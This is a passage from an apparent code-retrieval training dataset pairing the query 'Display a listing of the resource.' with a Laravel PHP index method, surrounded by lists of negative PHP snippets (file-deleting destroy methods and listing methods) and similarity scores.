unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function deleted(Storage $storage)\n {\n //\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6673811", "0.66624975", "0.66376764", "0.66351163", "0.66280866", "0.65443397", "0.6543099", "0.64656305", "0.62881804", "0.61755043", "0.61278707", "0.6089098", "0.60534257", "0.6043048", "0.6006416", "0.593359", "0.5929751", "0.5923406", "0.59201753", "0.5904145", "0.58963126", "0.5895338", "0.589437", "0.589437", "0.589437", "0.589437", "0.58819216", "0.58684987", "0.5864614", "0.58097607", "0.57739484", "0.5761358", "0.57558876", "0.5750673", "0.5741367", "0.5734089", "0.57264656", "0.5715195", "0.5711313", "0.5707201", "0.57057804", "0.57053447", "0.5702519", "0.5698952", "0.56844676", "0.56844676", "0.56783324", "0.5677608", "0.56581664", "0.564899", "0.5648674", "0.5647576", "0.5641079", "0.5636559", "0.56325674", "0.5619814", "0.5615794", "0.5607223", "0.56022006", "0.5601402", "0.5601336", "0.56004316", "0.5590177", "0.55810463", "0.55665016", "0.5565872", "0.5565398", "0.5563011", "0.55565405", "0.5556361", "0.5549312", "0.5544914", "0.554211", "0.5540394", "0.5540394", "0.5537265", "0.5536237", "0.55310345", "0.55295527", "0.5529016", "0.5527304", "0.5527274", "0.5527126", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5527044", "0.5523294", "0.55231583", "0.55181384" ]
0.0
-1
Display a listing of the resource.
public function index(Request $request) { $orderBy = ($request->has('orderBy')) ? $request->input('orderBy') : 'nama_kota'; $order = ($request->has('order')) ? $request->input('order') : 'asc'; if ($request->has('query')) { $data_kota = Kota::orderBy($orderBy, $order)->where($request->input('searchBy'), 'like', '%' . $request->input('query') . '%')->paginate(15); } else { $data_kota = Kota::orderBy($orderBy, $order)->paginate(15); } return view('kota.index', compact('data_kota', 'request')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "function listing() {\r\n\r\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() 